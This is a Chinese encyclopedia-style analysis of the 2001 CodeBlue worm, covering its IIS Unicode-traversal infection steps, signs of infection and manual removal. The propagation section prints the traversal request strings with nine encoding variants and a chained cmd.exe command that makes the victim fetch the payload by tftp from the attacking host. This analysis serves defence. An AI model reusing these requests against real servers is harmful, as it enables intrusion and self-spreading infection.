标题：蓝色代码
介绍
“红色代码”病毒对计算机用户造成的损害尚未停止，一种名为Worm.IIS.CodeBlue（即“蓝色代码”）的新型恶性网络蠕虫病毒2001年9月5日开始在中国计算机用户中出现。  蓝色代码界面据介绍，“蓝色代码”是一种专门攻击WINDOWS2000系统的恶性网络蠕虫病毒。2001年9月5日国家计算机病毒应急处理中心成员单位、北京江民公司接到告急用户后，连夜编写出了新的升级杀毒库，并立即将该病毒上报“国家计算机病毒应急处理中心”。
病毒特性

蓝色代码界面
“蓝色代码”蠕虫病毒感染WindowsNT和Windows2000系统服务器，由于其攻击微软inetinfo.exeIIS服务程序的IIS漏洞(请见IISUnicode漏洞分析），并植入名为SvcHost.EXE的黑客程序运行，该蠕虫病毒将在服务器内存中不断地生成新的线程，最终导致系统运行缓慢，甚至瘫痪；如果操作系统是Windows2000会将该系统的IISAdmin服务停止运行，导致无法对外提供Web服务，服务器彻底瘫痪。
蠕虫运行会生成“C:\d.vbs”脚本程序，该脚本程序运行时将停止所有“.ida,.idq，.printer”的系统服务；同时尝试下载“httpext.dll”到“C:”以及“C:\inetpubscriptshttpext.dll”。
“红色代码”相比，红色代码主要攻击IIS中的索引服务，而“蓝色代码”针对IIS自身的Unicode漏洞，攻击范围更广，传染性更强，黑客程序运行后将全面控制被感染的系统，同时修改注册表中有关IIS的设置，并在开机时启动程序SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN的注册表项，添加了自动运行黑客程序SvcHost.EXE的功能，重新启动时黑客程序将自动运行，因此造成的破坏性将比红色代码更加可怕。
“蓝色代码”同时还不断访问211.99.196.135绿盟科技的网站，期望象红色代码一样，对绿盟科技的网站进行Dos攻击。据权威反病毒专家介绍说，该病毒比“红色代码II”有更强大的攻击性，计算机一旦感染该病毒，将大量占用系统内存，导致系统运行速度下降直至系统瘫痪。
专家告诫广大互联网用户，尽快升级防病毒软件，如最新版反病毒软件Kaspersky（卡巴斯基），这样可有效的防范该病毒的侵犯。
病毒分析
网络传播的，它不感染文件一、本病毒是基于网络传播的，它不感染文件。
该病毒包括三个文件：svchost.exe，d.vbs，httpext.dll，其中httpext.dll运行时会产生一个svchost.exe，svchost.exe运行时会产生d.vbs。svchost.exe和httpext.dll都是用VC编写的，svchost.exe在编译完成后用UPX进行了压缩；httpext.dll使用了Microsoft的MFC。本病毒主要主向被感染主机发GET请求，GET请求是WEB服务的基本命令，它向WEB服务器请求一个页面，WEB服务器可以运行某些程序，来生成这些页面。对于IIS服务器来说，它一般有一个虚拟根scripts（安装IIS时自动建立的），该虚拟根下的脚本或程序可以根据用户的请求进行执行，虚拟根对应于磁盘上一个目录，IIS严重问题在于用户能通过该虚拟根执行它对应目录的上一级目录或其它目录中的程序，但这需要利用IIS服务的UNICODE漏洞，即将某些字符串在作为UNICODE转换时错误地转换为“\”，即WINDOWS的路径分隔符，因此使客户可以执行IIS服务器上的一些文件。病毒初始传染条件二、该病毒初始传染条件为，httpext.dll在C盘根目录，启动svchost.exe即可感染，开始感染其它机器者称为本机，被感染对象称为被感染主机，下同。
第一步：本机svchost进程调用_beginthread函数创建一个线程，该线程建立一个基本于UDP协议的文件传输服务器，即tftp服务器，它的作用就是向请求者发送文件httpext.dll（它将文件C:\httpext.dll读入内存，然后等待用户请求）。
第二步：本机svchost进程注册一个窗口类，类名为worm,按此类创建一个隐藏窗口。
第三步：这一步到第六步都是本机svchost进程的窗口函数在处理WM_CRERATE消息时完成的。首先1、在本机设立一个已感染标识，为一全局的名为CodeBlue的原子(GlobalAtom)；2、修改注册表，在HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN中建一项，名为DomainManager以在每次启动系统时自动运行svchost.exe；3、将C:\svchost.exe和C:\httpext.dll文件改为系统、隐藏属性。
第四步：产生文件C:\D.VBS，并启动wscript.exe运行该文件。如果本机的当前操作系统是NT5(即WINDOWS2000)的话，查找本机的inetinfo.exe进程，并试图结束该进程。
第五步：调用_beginthread函数创建100个感染线程。每创建一个感染线程，休眠137毫秒，再创建下一个感染线程。
第六步：休眼5秒后将本机的C:\D.VBS文件删除。
感染线程
第一步、调用系统APIGetSystemTime取本机系统当前时间（UTC时间），如果小时数大于10且小于11(不可能满足的条件)，攻击211.99.196.135（绿盟英文网站）。
第二步、随机生成一个IP地址，如果得到的IP地址为A类地址，则将IP地址的后两段变为自己IP地址的后两段，否则，直接用计算出的IP地址，该地址即为被感染主机的IP地址。连接被感染主机的80端口，如果连接失败，根据IP地址休眠最多4097毫秒后，重复这一步感染下一个地址；如果成功再向被感染主机发送请求“HEAD/HTTP/1.0”请求，此请求要求被感染主机回答是否支持HTTP1.0且为IIS服务器，如果不是IIS服务器，重复这一步，感染下一个地址，如果是，继续下一步。
第三步、检测被感染主机的IIS服务器的UNICODE漏洞，这种检测最多重试7次，如果成功，转下步，否则，转第一步。检测过程如下：
向被感染主机发送“GET/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+dir”请求，如果成功，则表明漏洞存在。其中XX是一个字符串，IIS服务器会把它作UNICODE字符串解释，解释结果错误地为“\”，也就是WINDOWS的路径分隔符，这就是UNICODE漏洞。该病毒带了9个可能的字符串，为：
%255c
%c1%1c
%c0%2f
%c0%af
%c1%9c
%%35%63
%%35c
%25%35%63
%252f
如果漏洞存在，此请求导致被感染主机执行winnt/system32目录下的cmd.exe程序，“+”表示空格，“？”号表示后面是参数，“/c”表示以控制台方式执行后面的命令，它会将被感染主机控制台的输出送给本机。“dir”是在被感染主机上要执行的命令。病毒并不关心命令执行的结果，而是只是关心该命令是否被执行，如果执行了，表明漏洞存在。
第四步、调用_beginthread函数创建一个感染线程，向被感染主机发送请求：“GET/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+tftp+-I+YY+get+httpext.dll”XX为检测到的漏洞串，YY为本机IP地址，它的作用是启动被感染主机winnt/system32目录的tftp.exe程序，“-i”让该程序以二进进方式从本机取httpext.dll(本机已在svchost.exe启动时建立了tftp服务器)，httpext.dll被传到被感染主机scripts目录中。
第五步、休眼2秒，向被感染主机发请求：“GET/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+copy+httpext.dll+c:\”,它的作用是让被感染主机将scripts目录httpext.dll文件从拷贝到被感染主机的C盘根目录下。
第六步、向被感染主机发请求：“GET/scripts/httpext.dll”。此请求导致被感染主机的IIS服务器运行scripts目录中的httpext.dll，httpext.dll将检查被感染主机是否有CodeBlue这个全局原子(GlobalAtom)，如果没有，生成svchost.exe，并运行它。这一步如果失败，将最多重试3次。至此感染过程完成。
关于D.VBS
此脚本文件将删除本机IIS服务的三个影射.IDA、.IDQ和.printer。
解决方法
1．用杀毒软件，如KV3000,RAV2001
2．用微软补丁包：
下载地址：http://www.microsoft.com/Windows2000/downloads/critical/q293826/download.asp
感染特征
1．打开资源管理器，到C盘根目录“c:\”，看一看是否存在c:\svchost.exe，c:\httpext.dll，由于这两个文件带有隐藏属性，因此需要到资源浏览器的“工具”菜单中“文件夹选项”的“查看”页，将“显示所有文件和文件夹”选项选上，才能确定；
2.到开始菜单的“运行”项，使用regedit.exe注册表编辑器，到“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”看一看是否存在“DomainManager”:“c:\svchost.exe；
3.打开任务管理器，到“查看”菜单中的“选择列”，将其中“线程计数”选项选上，确定会到“进程”页，看一看svchost.exe所用的线程数是否超过100；CodeBlue的线程数一般会是104,105左右；
4.打开资源管理器，到“C:\inetpub\scripts\”目录，看一看是否有httpext.dll。
通过以上的特征，您可以很方便识别CodeBlue的存在，由于CodeBlue蠕虫非常狡猾，为了降低大家的警觉性，程序文件的名字采用了系统中已经有的文件svchost.exe（C:\winnt\system32\)，httpext.dll(C:\winnt\system32\inetsrv\），如果用户不小心误删除，可以到相同版本的机器上拷贝相应文件，或者重新安装WindowsNT/2000，如果是Win2000以上版本到c:\winnt\system32\dllcache下拷贝就可以。
手动清除方法
1、请先关掉IIS服务，避免在此过程中再度受到网上的漏洞攻击；
2、启动进程管理器，打开线程浏览，然后查看名称为svchost.exe的进程，通常系统自己会有两个，而CodeBlue的执行进程也是这个名字。系统的与CodeBlue的进程最显式的区别在于CodeBlue的进程具有相当多的线程，通常CodeBlue的svchost.exe进程含有100个以上的线程；
3、一个一个关掉这些CodeBlue的svchost.exe进程；
4、删除C:\目录下的svchost.exe文件和httpext.dll文件，注意CodeBlue的这两个文件是具有隐含、系统属性的，需要打开查看所有文件选项；
5、删除C:\inetpub\scripts\目录下的大小为46587或者47099的httpext.dll文件。
6、打开注册表编辑器，找到HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run，删除其中以DomainManager命名的键值；
7、完成。